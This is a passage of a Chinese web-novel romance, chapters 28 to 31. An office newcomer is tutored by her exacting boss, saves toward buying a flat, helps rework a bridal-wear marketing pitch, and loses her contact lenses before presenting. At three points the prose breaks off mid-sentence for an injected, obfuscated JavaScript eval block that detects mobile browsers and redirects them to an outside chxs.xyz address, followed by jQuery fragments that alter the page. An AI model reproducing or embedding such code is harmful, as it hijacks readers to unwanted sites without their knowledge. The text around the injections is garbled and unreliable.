“你别看老大平时一本正经,喝多了就一反常态的呆萌……”萌萌像是想起了什么好笑的事情,笑得前仰后合。我一头雾水,她揽住我,在我耳边悄悄说:“等下次咱们把老大灌醉了,你就知道了……”
因为全体都喝了酒,老板也不能自己开车回去,就叫了个代驾,孟猛负责护送老板回家。
我们几个打算再待一会儿,萌萌的这个露台实在是太舒服了。
我躺在那条长椅上,眼睛都不眨地望着那些闪亮的好像随时会掉下来的星星;萌萌窝在秋千里,举着一罐啤酒对着漫天的星空发呆;小妍坐在小马扎上,乖乖的像个小朋友;觅觅坐在另外一条长木凳上,不知道想什么出了神。
桌子上散落着周明凯今天带来的各种零食。
我们谁都没有说话,只是静静地感受这静谧的初夏,风是甜的,虫子的叫声显得夜晚的格外寂静。我突然怀念起,去乡下过暑假,奶奶打着蒲扇驱赶蚊虫,嘴里哼着童谣,哄我睡觉。
在T市买房,也许是个可选项……
28. 第 28 章
“上次给你的那本资料看得怎么样了?有什么问题吗?”
我本来以为已经逃过一劫,没想到学霸还包售后。支支吾吾地回答“我还没看完”,想要蒙混过关。
“还剩多少?”
如果我说只看看了几页,不知道会不会被生吞活剥。含糊其辞,“没有多少了。”
周明凯没说话,突如其来的沉默让空气都变了形,我心虚地偷偷瞄了他两眼。
他摩梭着左手的腕表,“以后每天下班后留下来,我给你讲解,role play也比较方便。”
“哈?”我的脑子里有根绷紧的弦咔嚓一声断了,“不……不用了吧?”
“基础差就应该加倍努力,按你现在的进度,什么时候才能看完。”
呃……被发现了。看来,老板已经坚定了揠苗助长的决心。
我垂头丧气地回了工位,谁能想到来分公司上班还顺便上了个培训班呢?
中午吃饭,我继续唉声叹气,不知道老板说的“每天下班”从哪一天算起,总不会今天就开始吧?!
孟猛瞥了我一眼,“最近也没什么能让老大骂的呀。”
“你才成天挨骂!”我白了他一眼,情绪低落,“老板说要给我讲解案例。”
“这不就是金牌讲师1V1?姐妹,你赚到了。”
还有五分钟下班,萌萌他们已经收拾好了,我专注地盯着老板办公室,周明凯还没走。把东西塞进包里,默默等待。
五点整,大家陆陆续续走了,周明凯仍然没有动静。
小妍招呼我们下班,我拎上包刚走出去两步,座机响了,“五点一刻来我办公室。”
“被老大留堂啊?”小妍同情地用口型问。
我垮了脸,孟猛一拍我肩膀,“那我们先走了。”
我以一种异常沉重的心情目送他们欢乐地离开办公室,虽然我非常需要排遣时间,可并不希望是以这种方式。这种感觉,就像在学校被老师留堂的后进生——我确实是,可微小的自尊仍在挣扎。
“冉冉,加油。你可是咱们GT第二个被老大亲自带的。”萌萌发了个笑脸,“看好你哦。”
第一倒霉蛋是孟猛,第二倒霉蛋是我。
磨蹭着进了办公室,他指了指对面的椅子,“坐吧。”
“那个……老大,我站着就行了。”
他拿出薄薄的两张纸,摊在我面前,“我打印了一份卷子,知识点都在那本资料里提过的。”
谁懂啊?我已经上班了这么久,居然还能碰到随堂测验?!
我翻了下试卷,最后还有实操策划案。崩溃!这不得做到大半夜!
他见我盯着试卷一动不动,“不用实际策划,只需要写出思路梗概就好了。”
暗暗腹诽,“那也得有思路。”
我埋头做试卷,他对着电脑在继续办公。
外面的路灯一盏接着一盏亮了起来,我望向窗外,昏黄的灯光打在两旁的树叶上,一颤一颤地好似在发抖。
这种夜晚,很久之前经历过。我不由自主转起了笔……高中时候上晚自习,我们在下面做测验卷,老师在讲台上批作业……两堂课后交换改卷子,现杀现埋,真是悲惨。
“专心点。”他敲敲桌子,眼睛还是盯着电脑。
我把心思收回来,继续做题。
也不知道过了多久,他突然走过来,抽走了卷子。扫了两眼之后,把卷子放进了包里。
“我还没做完呢。”
“先去吃饭吧。”他看了眼手表,“我知道有家小餐馆,豉油鸡和香菇笋片做得都不错。”
“啊?”我顿时手足无措起来,“不……不用了吧。”
面对周明凯时,我的脑子里总是绷着一根弦,提醒我不要犯错。单独跟老板吃饭,感觉不是什么好事儿。
他瞥了我一眼,“怕什么?我又不会吃了你。吃晚饭和吃早饭,差哪儿了?”
我在心里嘀咕:“那个时候,我也没这么多小辫子在你手里。”
周明凯似乎很热衷于接地气的市民生活。一般老板请吃饭,不是高档餐厅,最起码也得是人均两三百的级别吧?可我老板倒好,早餐铺,街头小店家常菜,截至目前人均不超过一百元。这家苍蝇馆子目测两百块能把我吃撑死。
难道是要向我展示他平易近人的一面吗?
可他这样的人,往小餐馆里一坐,本身就很违和。我真怕还没坐下来,旁边的大妈阿姨们就一脸慈祥地围上来,问他多大年纪,结没结婚,家里有女儿外甥女考不考虑认识一下。
就像我实在想象不出露西在苍蝇馆子里点菜的样子,我也想象不出周明凯在这种环境里淡定自若的样子:他穿着笔挺的衬衫,西装脱下来搭在胳膊上,我觉得下一刻就应该有门童来为他拉门,给他拉椅子,然后倒红酒。用银质餐具切牛排,觥筹交错、谈笑风生。
但他似乎驾轻就熟,把西装往凳子上一搁,解开衬衫最上面那颗扣子,把衬衣袖子挽了起来,拿餐巾纸开始擦桌子。
“欸?有阵子没来了啊。”
“是啊,赵叔,最近有点忙。”
老板大叔笑得一脸褶子,“女朋友啊?”
我慌忙摆手,“不是不是,他是我老板。”
周明凯倒是气定神闲,“赵叔,她胆小,别吓着她。”
“你小子,这就护上了,还说不是……”他一个眼神,老板大叔顿时转化了话题,“还是老三样?”
“拿个菜单吧。”他把菜单递给我,“你看看想吃什么。”
我愈发感觉不安,战战兢兢,“老板,还是……你点吧。”
“你可以跟他们一样,叫我老大。”周明凯拿杯子倒了开水,开始烫碗和筷子,“赵叔最拿手的是黄油鳝丝……”
我从小就怕泥鳅黄鳝这些滑不溜丢的玩意儿,更别提吃了。
“除了黄鳝之外……我什么都吃的。”
他笑了下,挑起眉毛:“点个辣椒炒肥肠,再来个……”
堂堂一个分公司总裁,喜欢吃辣椒炒肥肠,这画面,比Vivian说“我想要一个比彩色还要绚烂的颜色”还要梦幻。
在他说出更让我惊恐的菜名之前,我赶紧伸手接过菜单,“要不……还是我来点吧。”
考虑到这里的消费水平,扫了扫菜单上的单价,就算我往死了点也不会超过五百块。于是我就比较放飞,一口气点了五个菜,其中四个是肉菜。
他看了看餐牌,勾掉了一个红烧肉,添上了一个豆豉鲮鱼油麦菜,一个香菇笋片。
等菜上来的时候,我觉得好像有点过分——原本桌子就不太大,菜上齐了之后,连搁碗的地方都快没有了。幸好我们来得晚,店里面已经没什么人了。老板把另一张桌子推过来拼在一起,我终于可以伸展开手脚。
当周明凯问喝点什么,接着推荐了普洱茶之后,我明确了他对自己的定位——养生中青年。
虽然是小馆子,但味道着实不错。一口咬下去,汁水在口腔里喷溅开来,很久没吃到这么地道的牛肉丸了。
我大概吃得两眼放光,心里暗暗想:“这个松花鱼怎么做的?外酥里嫩,松鹤楼也不过就这个水平了吧?”
接着戳一筷子板栗烧鸡,板栗炖得软烂,鸡肉喷香。香菇又嫩又滑,笋片鲜得要咬掉舌头。
“怎么样?味道还不错吧?”周明凯吃相很矜持,他一道菜夹个两三筷就不动了。
我顾不上说话,点了点头,一口接一口往嘴里塞。
这店要是开在S市,还不得排队排上三四个小时?这大概是我来T市,哦,不对,是出来工作之后,最好吃的一顿。
我其实一直是个吃货,只不过因为肖平对吃很不讲究,加上为了保持身材,我努力克制对食物的欲望。久而久之,我对吃饭越来越敷衍,通常都靠各种外卖。偶尔去吃顿好的,其实也是为了满足虚荣心,而不是为了去享受食物本身。
吃着吃着,我突然很想哭。不知道为什么,吃到好吃的食物本应该是特别幸福的,但我却在这一刻感觉很委屈。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672132|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
我低着头,努力想要把眼泪逼回去,但眼睛越来越酸涩,像是水流涌到了闸口,一下全都冲了出来。
周明凯没有问我是为什么,只是沉默地看着我,然后轻轻递过来一张纸巾。
等我忍住抽泣,他夹了一筷香菇放进嘴里咀嚼,咽下去后说:“看来赵叔手艺又精进了,把人都好吃哭了。”
悲伤的情绪像被人突然一把掐住了喉咙,无法再继续呼吸生长。
“要不要再加两个菜?”他给我倒了杯茶,好像刚刚什么都没发生。
我摇摇头。
实在是太丢人了,我实在是想不出为什么自己会在老板面前失态,我会不会被贴上过于情绪化的标签?转念一想,其实也没所谓,反正我不想晋升。如果他因此把我列为“非潜力人员”,没准反而是因祸得福。
为了掩饰尴尬,我低下头,把碗里的笋片和鸡肉包在春饼里一起塞进嘴——碳水加脂肪,好吃胖成鬼。然后,我打了个饱嗝。
啊!!!更尴尬了!到底要在老板面前社死多少回?!
赶紧捂住嘴。
周明凯继续像没事发生,“吃饱了吗?”我疑心自己看错了,他似乎笑了笑。
真怕他说“吃饱了接着回公司做卷子消消食”,但要我继续吃,也实在是吃不下了。
幸好没等到那句资本家语录。
“从这条小巷子往里走,有家甜品店不错。老板是G市人,红豆双皮奶和丹桂双皮奶口碑都不错。”
我很心动,但我的胃实在是装不下更多了。
T市的小馆子,还真是来回给予我美食冲击,间歇性唤醒我作为一个吃货根植在骨子里的爱吃基因。
说起来,S市有那么多的餐馆,但论起味道来,确实不如这家苍蝇馆子。
别看有这么多美食,T市人大多数是瘦子,且不说姑娘们都很苗条,即使是上了年纪的阿姨大婶,也没有特别富态的。这一点在男性身上没有女性那么明显,但胖叔叔和胖爷爷也很少见,满大街都是精瘦的中老年人。我其实很想问问,T市这是一方什么水土?大概是他们爱吃,却也爱动?
早上去上班经过小公园,左一堆打太极右一堆练剑。这么热的天也不耽误他们甩着汗走路,晚饭后大街小巷上全都是散步消食的。更别说各种舞蹈房瑜伽馆开得遍地都是,看起来生意还很红火。T市人爱锻炼爱运动大概跟爱吃一样是刻在基因里的。
周明凯望着我,“你是不是更喜欢吃西餐?”
“那倒是没有。”我实诚地回答:“只不过……哪有老板请吃饭去苍蝇馆子的。”
说完我就后悔了。咳……我瞎说什么大实话。
“那应该请吃什么?”他思索了片刻,“跟孟猛他们一起吃饭,他们都喜欢去那些网红餐厅。”
我在心里吐槽,年轻人哪个不喜欢去网红餐厅,你一个金领,这么接地气,合适吗?
“牛排红酒那些在国外吃得太多,回国之后,就更偏爱中餐。T市的网红餐厅没什么特色……我上学的时候,就常来这家吃。后来回国,这家店居然还在。”
“哦,在国外待久了大概都不爱吃西餐。”我敷衍地回答。
由于吃得太撑,我实在是想多走一会儿。但跟老板一起散步,也实在觉得浑身不自在。心不在焉地听着,心里盘算着什么时候能回家,周明凯走得快,已经走到了前面,我跟在后面低着头数地砖。
“安冉然,你是不是怕我?”他突然站住了,我差点一头撞上他。
“啊?”我没反应过来,员工怕老板不是很正常的吗?!
“我也没干什么吧?”周明凯似乎在思考自己这段时间的行为。
对!您是没干什么,就是给我布置作业,还要考试……
周明凯还盯着我等答案,我头皮发麻,“就……尊重,敬重,这不是应该的吗?”
他默默没说话,然后扔下一句:“回去好好看书,错了好几题。”
我差点当场被噎死,不是,有您这么聊天的吗?!
29. 第 29 章
如果说有什么能够抚慰心灵,那一定是当听到“叮”的一声,银行短信XX元的入账提醒。
发薪日是除了周末之外最让人快乐的日子。
工资几乎是原先两倍的数字,我愣了,该不会发错工资了吧?!
邮箱里躺着工资条,清晰地标注了基本工资、绩效奖金和加班费。由于转岗,虽然我的基本工资只上调了两千块,但绩效工资系数加了不少,算下来整体薪资包增加了50%都不止,这属于变相涨薪了。另一块涨幅主要是来自加班费。
就像萌萌说的,“只要老板愿意加工资,我就愿意加工时。”
什么成长什么历练,都是扯淡。没有什么比银行卡上激增的数字,更让我充满了工作的热情和动力。
人民币才是第一生产力!
我美滋滋地看着手机银行里的数字,脑子里绽放出对未来的憧憬。虽说加班费都是用时间换来的,可是能换钱的时间不比白白流失不能创造任何价值的时间显得性价比高吗?要不是公司严格控制加班时长,我都想周末也来公司加班了。只要有加班费,我可以把公司当作家!
平时加班只有1.5倍工资,休息日加班可是有2倍呢。可惜,公司从来没有周末加班的先例。
谁能想到,未来是以这样的方式跟我安冉然say hi的,hello world,我也爱你。
我一遍又一遍打开手机银行,心里乐开了花。整个人像是大冬天从冷冽的寒风中浸入了汩汩的温泉水里。曾经我以为,没有爱我会活不下去,可这一刻,我才真切地体会到,没有钱才会活不下去。这一份工资,能为我遮风挡雨,甚至能让我生出一些原先想想就算了的欲望,比如:悄悄冒头的买房欲望。
上周末被好房子轮番轰炸:周明凯看的别墅没有实感,但萌萌那个带露台的房子实在是太可心了。我的脑子开始飞速运转,按这个速度,我干上两三年,没准都能给自己在T市付个小房子的首付,跟曾经一穷二白的自己彻底说再见。
心念一起,我开始算自己能存多少钱:因为没钱,我花销很谨慎,当然还有乱花出去的钱,但不多。芭蕾舞课谈的分期,房子是公司租的,省下了一笔大开销。按现在的收入,还掉信用卡,大概能存下整个月工资的70%。这对现在的我来说,可算是一笔巨款。顿时觉得充满了希望。
中午出去吃饭,我主动问了萌萌她那个小区的房价,她说她那个小区三万不到。
觅觅说那挺贵的了,她小区才不到两万。就买房这个话题,大家讨论了起来。
我原本以为大家都跟我一样是租房党,显然是我太幼稚了。萌萌有两套房子,孟猛住在隔壁小区,是业主;觅觅去年买了房子,小妍虽然现在还在租房子,但已经付了首付,等着今年年底交房。
原来只有我一个穷光蛋。
到底是T市的房价太平易近人还是同事们都是隐藏富二代?
萌萌是本地人,没有可比性;孟猛是他爸妈出的首付,他自己还房贷;觅觅自己存了两年钱,爸妈给她凑了点;小妍是问爸妈借的钱,说后面慢慢还他们。
觅觅安慰我,“租房很正常的,我刚来T市的时候也是租房……”
“我们公司效益还可以,有的项目奖金也挺可观的;加上积蓄和年终奖,你很快就能买房子了。”孟猛很实际在算账。
萌萌建议我先观望观望,看看有没有喜欢的,“不用着急,买房子也得看缘分。”
似乎,大家对我必然会在T市买房子的信心比我自己还大。他们每一个人都对生活都有坚定的信念,相信未来会是光明美好的,这一点深深触动了我。
下午忙完手头的活儿,坐直了身体,我开始上网查楼盘信息。
我从小就喜新厌旧,是字面意义上的。我从来不肯穿表姐穿不下的小裙子,即使她只穿过一次,看上去仍然很新。在我五岁时,我爸出差去S市给我带回来的一辆遥控小汽车,车上有俩警察小人偶,碰到障碍物会转弯。虽然我很喜欢这个玩具,可因为表弟来我家玩,在抢玩具的时候他使劲一拽,小汽车飞了出去,一侧的油漆刮掉了,我就再也没碰过它。
对于很喜欢的东西,也是在刚买来的时候宝贝得很。三个月的新鲜期一过,就不那么珍惜。要是不小心弄坏了,就更是破罐子破摔。甚至觉得眼不见为净,送人拉倒。
对于自己用旧的东西,虽然不至于说即刻扔掉,可总是会找各种理由时机换掉它。
所以,二手房不在我的考虑范围内。我找出了最近开盘的新楼盘和即将开盘的新楼盘,准备在当中看一看有没有自己心仪的房子。
萌萌新房的地理位置、周边配置和小区环境都非常优越,但我觉得,大概要攒很久的钱才能买得起。动力不足,很容易放弃,还不如找个自己能负担得起的。T市房子的均价一万出头,觅觅和孟猛都买在公司附近,也比较贵;我打算看看离公司远一点的,其实跟S市相比,通勤基本在半小时左右,已经很方便了。
通过排除区域和价格之外,我锁定了两个小区。一个是上个月刚刚开始售卖的现房,直线距离不算远,据说三年后会通地铁,真要通了地铁,离公司六站地铁直达。如果现在入手,大概只能公交或打车上班。另一个小区是期房,离公司直线距离很近,大概两三年能交房。
这两个小区的小户型都不多,只有两栋楼是小户型。虽然宣传片都拍得跟花儿一样,但我还是想去看看样板房。在咨询的时候销售说小户型非常畅销,尽管现在我没钱买,可还是想早点去看。就像一个真正要买房子的人那样,害怕去晚了只能捡别人挑剩下的了。
所以,我拒绝了孟猛和萌萌去喝一杯的邀请,火速收拾好包,一下班就冲去了地铁站。
如果有人告诉我,我将会喜欢上T市,并在这里自得其乐,那我绝对会觉得他是个神经病;而现在,我觉得我自己就是那个神经病。
我惬意地躺在懒人沙发上,忍不住又开始看自己银行账户里的余额,快乐得像一个大傻子。我甚至幻想,自己住进心仪的房子里该是多么快乐的事情。
萌萌怎么说的来着?哦,对,先给自己找一张dream house的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672133|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
图片。
我上网搜索自己喜欢的装修风格,找到了一张特别喜欢的,保存在IPAD里。
然后,要做存钱计划。
以前一到夏天,工资还没发下来就开始买小裙子和鞋子,换季和打折都是我按捺不住自己大血拼的时候。
我从来没有机会好好关注银行卡里的进出账情况。最常见的情况是,工资刚到账不久就莫名其妙不见了。我绑定了好几张信用卡的自动还款。工资卡里的钱给沿着我开凿的各条管道像水一样往外流出。
不查不知道,我居然有这么多的自动扣款,几乎所有视频平台的会员,有些视频会员只是为了看某个剧开的,仍在续费……还有几个购物网站的会员,电话套餐等等……我查了下自己的流量和通话,发现话费也没必要用现在的套餐,可以调低两档。
我悄悄问过夏蕾,现在租的这套小公寓公司会承担一年的费用,后续如果我不回总部而是继续留在分公司的话,扣掉住房补贴,公司继续负担我的住房费用。
林林总总,可以省钱的地方不少。
我决定,发了工资就定存70%。
……
对我来说,有一个属于自己的小房子,那才意味着,我真正在一个地方落地生根。在 S市,我像一株浮萍,虽然肖平说我们肯定会有自己的家,可是什么时候呢?我看不到未来。
在S市买房子是一个遥不可及的目标,所以我选择忽视它,用其他的消费来掩盖自己可能永远买不起房的事实。肖平说攒钱买房,但其实我们都知道,仅靠我们两个人,买房就是镜花水月。他还不愿意接受我爸妈的资助……而且,我那时还有更深的恐惧,买房意味着背上沉重的债务,以后的每一天都像是戴着枷锁。也许别人能戴着枷锁跳舞,但我可能会被压死。
但现在不一样了。T市对置业很友好:七十多平的两室一厅足够住了,一万出头的单价,20%的首付比例,只要我攒出十几万就够首付;况且还有五十多平方的小两室,十万出头首付就能拿下;房贷可以公积金贷款,加上我们公司还有补充公积金,大概能覆盖房贷。这样一来,基本没有还贷压力。
仔细算了一笔账之后,我实打实心动了。十几万看上去不少,可如果我能严格按照自己的存钱计划,一年半就能买个面积小的。如果真看上了大的,找我爸妈借一点。
此刻,我的脑子里都是钱和房子。
突然,一个念头闪过:如果现在不买,后面房价涨了,怎么办?我要不要先向爸妈借钱,后面按月或者到年底存一笔还给他们。可是,这样他们就会知道我跟肖平分手了……
拿出手机查T市这两年的房价,近两年基本持平,我吃了一颗定心丸。
靠自己买房子成为可能,仿佛是天方夜谭。我躺在床上,久久不能入睡。跟以往不同,今天是因为兴奋。一旦有了目标,人就有了动力。
再一次,我从内心生出了对工作的渴望:我要把项目做好,拿项目奖金,尽快存够买房的钱——这将是我人生中的第一套房,也许,也是我人生中唯一的一套房子。
30. 第 30 章
快乐是短暂的,忙乱才是常态。
在兵荒马乱的适应期和周明凯的鞭策下,我暂时抛开了悲春伤秋的情绪。
自从周明凯说他会带着我把这个项目做完,就分出了大概一半的时间和精力投入进来。孟猛的眉眼每天都透出欢欣鼓舞的气息,时不时眉飞色舞。用他的话说,金牌 1V1教学,绝对是可遇不可求的学习机会。
周明凯主导,原先我们杂乱无序的分工瞬间厘清了。
Jessie显然把握不了执行细节,周明凯要求我们不直接跟她对接这部分工作。孟猛负责公关事宜,维护好和Jessie的关系——孟猛瞬间不快乐了。
尽管Vivian和Jessie都以不接地气在我们小组享有盛名,但WH集团还是有靠谱的项目推进人。譬如Jessie下面那个叫Jane的姑娘,她是一线销售出身,身上有跟孟猛非常接近的特质,敏锐且直接。她并不像那两位一样提出各种奇奇怪怪似是而非的需求。单单只这一点,就足以让我对她抱有好感了。
Jane有个特别厉害的技能,她能够不动声色地影响Jessie,让她摒弃那些天花乱坠不切实际的需求,让事情至少能够往下推进。她更像是我们同一个战壕里的战友。
周明凯敏锐地捕捉到了这一点,让我负责跟进Jane,把执行端口的工作通过她向Jessie汇报。
可我仍然担心磨合问题,Jane表现得特别客气,客气到让我心慌不已。我总害怕她在下一秒就像Jessie一样,给我抛出一个难题。经过一段时间的沟通相处,发现她跟Jessie截然不同,我才把心放回了肚子里。
我甚至暗暗期盼,这个案子能由她全权负责——她非常务实,不会不懂装懂,也不会一味追求高大上但华而不实的东西。
Jane约我们开会的地点通常也不是办公室,而是WH婚纱位于市中心的一家门店。她提出如果可能的话,我们最好在现场观摩,或者作为一线人员参与WH婚纱的日常售卖场景,这样我们能对客群有更深入的了解,从而让营销案为产品售卖服务。
周明凯认同她的想法,让我们多去实地接触用户。
孟猛甚至感慨,如果Jessie再被调走,Jane独挑大梁,我们绝对能好好地做出一个切实对销量有帮助的营销策划案。
于是,在她的安排下,我和孟猛在市中心的婚纱门店以助理的身份工作了一天,跟在婚纱推荐师身边沉浸式体验WH婚纱对客户的服务,我们可以近距离地观察到一线用户对于婚纱的各种观感。
WH集团的这家门店实施预约制,基本上来的新婚夫妇都身价不菲,最起码也是中产水平,不然消费不起。客群有共性也有差异性,老钱派喜欢经典简约,注重材质和剪裁;新贵更喜欢张扬奢华的款式,喜欢镶钻bling bling的。也有不少人屡屡问起旧款。
没想到,我们还在前线收集第一手的用户资料,后院起了火。我正在记录用户反馈,周明凯临时通知了会议安排,让我们结束后马上赶回公司。
“我刚跟Mark通了个电话,他透露说如果我们下周拿不出能打动他们的创意,那他们将考虑换掉我们。”
孟猛急得跳脚,“Jessie的要求那么离谱,Mark 作为营销部老大,也不管管下面的人。”
“不要抱怨,如果达不到客户的要求,说明是我们的能力问题。”周明凯把袖子卷了上去,拿着马克笔在白板上画了四个框,“我们营销人最值钱的就是创意,头脑风暴吧。”
首先,把已经提给WH集团的创意写在黑板上,周明凯边看边皱眉。
“WH的诉求是什么?”
我犹豫了下,“他们其实……需求并不是很明确。”
“你们跟客户方开了几次会了?”
“去WH集团开了三次会,但都没有实质性进展。”
“这周有提交任何书面文档给WH集团吗?”
我和孟猛面面相觑,摇了摇头。
周明凯在白板上画了一条时间线,要求我们把几次会议的内容做简要说明。他边听边在白板上记录要点,突然他停住了,“有过什么不同寻常的要求吗?”
我努力回想,“Vivian一上来提了个销售额增长的问题。”
周明凯迅速出去打了两个电话,理出了我和孟猛一直忽略的事实:WH集团这次的营销目标并不是品牌宣传,而且切切实实想要看到销售数据上的变化。
孟猛喃喃:“原来Vivian提到的下一季度销售额需要增长10个百分点,这才是题眼。”
而我们的提案一再被否决,最根本的原因是Jessie没有正确领会Mark的意思,一味强调品牌调性,侧重品牌宣传,认为销量归于销售部,跟市场部没关系,带着我们在错误的方向上一路狂奔。
周明凯坚信,GT对于客户的价值在于营销理念为销售服务:无论是打造品牌形象,还是各种用户体验提升,最终的目的都是为了品牌销量。尽管无法追求立竿见影的效果,但所有的营销都应该围绕这个目标来进行。Mark在这一点上跟他不谋而合,双方顺利达成了合作意向。但进入执行阶段,我们偏离了这个大前提。
现在我们在门店观察到的那些数据和跟准新娘们的交谈成了第一手资料,这些是真实的数据反映了用户对品牌的期待。
周明凯让我去跟Jane沟通,拿一下他们Q1季度的总体销售数据,还有各个门店销售最好的款式和成交额。
他分配任务时,我的脑子里突然有一些碎片一闪而过,
手机响了一下,弹出的是俞渔的消息,“安小姐,我不是催你噢……但我想问,WH是不是真的不会经典回归啦?如果是的话,我就不等了。”
终于揪住了那一闪而过的念头,WH婚纱旧款一直有人念念不忘,其实在门店也频频有人询问老款。这些都是潜在的销售额:如果准新娘挑不到自己最喜欢的那一款,有些会退而求其次购买新款,但有些就会流失。
“我们是不是可以用WH集团的经典婚纱款式来做一次推广,其实这段时间,我们在门店,经常有准新娘问旧款……”
孟猛连连点头,“是的,我印象中十个新娘里有三四个询问过。”
周明凯沉吟了片刻,“这个想法不错,安冉然以此为基点做提案,孟猛负责环比数据对比和调研数据整理,为方案提供数据支持。在周五前需要有最终版本敲定,现场肯定会有提问环节,周末我们来公司做方案演
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672134|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练。时间紧急,这周大家辛苦加加班。”
散会后,孟猛被单独留了下来。
萌萌望着老板办公室放下来的百叶窗,对孟猛抱以无限的同情,“这次孟猛要挨骂了。”
果不其然,二十分钟后,孟猛耷拉着脑袋出来了。
他哀怨地看了我两眼,我胸口一紧,看来跟我有关。
“冉冉,你要请我吃饭。”孟猛一副受了天大委屈的样子。
萌萌一把搂住我的肩膀,“替冉冉挨两句骂,不对,你自己活儿没干好挨老大骂,还想赖冉冉一顿饭。”
没等孟猛回嘴,周明凯又叫孟猛去办公室。
孟猛哭丧着脸,“刚刚才训过,老大这是没消气还要继续训啊?”
“安冉然也进来。”
孟猛吃了一惊,我忐忑不安跟在他后面。
一室沉默。
我偷偷瞄了一眼周明凯,他的拇指摩梭着食指,似乎在斟酌什么。
片刻之后,他对孟猛说:“孟猛,我要向你道歉。这是我的管理失误。错误判断了执行层面和决策层面的信息误差,也没关注到项目卡点是因为信息误差。”
我愣住了。偷偷看一眼孟猛,他像是刚刚受到炮袭还没反应过来要躲藏的羚羊,瞪大了眼睛。
“另外,安冉然作为新人,暂时还不具备独立对接大项目的能力,这一点我应该一早跟你说明。这样你才能主动承担更多责任。”
慌乱也如原子弹一样袭击了我。
孟猛赶紧表态,“老大,前面我真不知道冉冉没干过营销,后面我一定注意,冲在第一线。”
周明凯微微颔首,“嗯……前面是我疏忽了。”
孟猛一脸惶恐,“老大,我不是那个意思。”
周明凯转向我,“这次方案是安冉然提的,下周由你讲解方案。”
我一颤,刚刚不是才说我能力不足,怎么还得我主讲?
“孟猛做好配合,重点关注客户提问。好了,出去干活吧。”
出了老板办公室,我感觉自己后背都湿了。
“所以……你刚刚说让我请吃饭,是封口费?”
“哪儿能啊,是精神损失费。”孟猛摸了摸脑袋,压低了声音说:“要不要……给其他人一个惊喜?告诉她们,你其实是营销新人。”
我赶忙摇头,什么惊喜,惊吓还差不多!
接下来的这一周,我和孟猛忙得人仰马翻。周明凯不断提出修改意见,周五定稿的时候,孟猛熬得眼睛通红。我也好不到哪里去,感觉自己都要瞎了,电脑里存了无数个修订版。
周六又在公司一整天,顺稿和场景演练,一直到下午五点半结束。
“大家回去好好休息,周日不用再工作。劳逸结合,效能才高。”我总觉得,周明凯有意无意在点我,“临阵磨枪也得有方法,不能一直磨。”
一周的高强度工作戛然而止,我居然感觉有些不适应。
如孟猛所说,这种实战经验比纸上谈兵有效得多,我在飞速成长。原来营销不只是无趣的理论,而是真真正正能在现实当中发挥作用影响消费决策的工具。
第一次知道,团队合作共同完成一件工作,一起在公司里为同一个目标忙碌,是如此充实而有意义。
31. 第 31 章
我一直认为,等待上刑场的时光是更难熬的,忐忑不安,惶惶不可终日地对将来到来的至暗时刻。可是当我真正站在演讲台上时,双腿打颤,眼前模糊。
周明凯让我们提前二十分钟到客户现场做准备工作,顺便熟悉下环境。我和孟猛提前了半个多小时,连电脑检查投影,比IT人员都敬业。
一切准备就绪……
眼睛有点痒,我使劲揉了揉眼睛,把手挪开时,面前一片模糊。
完了!虽然有过隐形眼镜掉落事件,但两只同时离家出走还真没碰上过。
“我知道自己长得帅,你也不用这么盯着我。”
帅他个大头鬼,就我这高度近视,他不凑到我眼皮底下,我连他是男是女都分不清楚——任何离我十步距离之外的人,五官模糊得像是在浓雾中若隐若现的塔尖。
“闭嘴,我隐形眼镜掉了。”使劲眯着眼镜,试图能在哪里发现哪怕一只的踪影。
“啊?!掉哪儿了?”孟猛在我旁边猛烈晃动。
“废话,我要知道掉哪儿了还要你帮忙找吗?”
虽然不能说完全看不见,但这个极度模糊的世界,让我滋生出惶恐和不安。
“现在去买也来不及了啊,还有五分钟就到会议时间了……你没有框边眼镜吗?”
不提还好,他一提,曾经丑出天际的历史像弹簧一样从我的脑海里蹦了出来。
我妈秦梦程女士非常肯定及确信,隐形眼镜会让我变成瞎子。即使我已经是八百度,她依然坚持让我戴眼镜——像玻璃瓶底那么厚的眼镜片儿加矫正牙齿的钢牙套,曾让我自卑到不敢抬头。
而我上大学的第一件事,就是去学校附近的眼镜店买了一副隐形眼镜。后来,许逸晨陪我一起去,她建议我买季抛,说算下来季抛是最划算的。第一次在镜子里清晰地看见了自己眼睛下的那颗蓝色泪痣,我激动得无以复加。
从此以后,购买隐形眼睛就成了我的必要开销。
除了睡觉摘掉,隐形眼镜是我的第二人生伴侣,比肖平都要亲密。
“你能看清什么程度。”
“我要是告诉你,你和世界在我眼前一片模糊。你觉得算什么程度?”
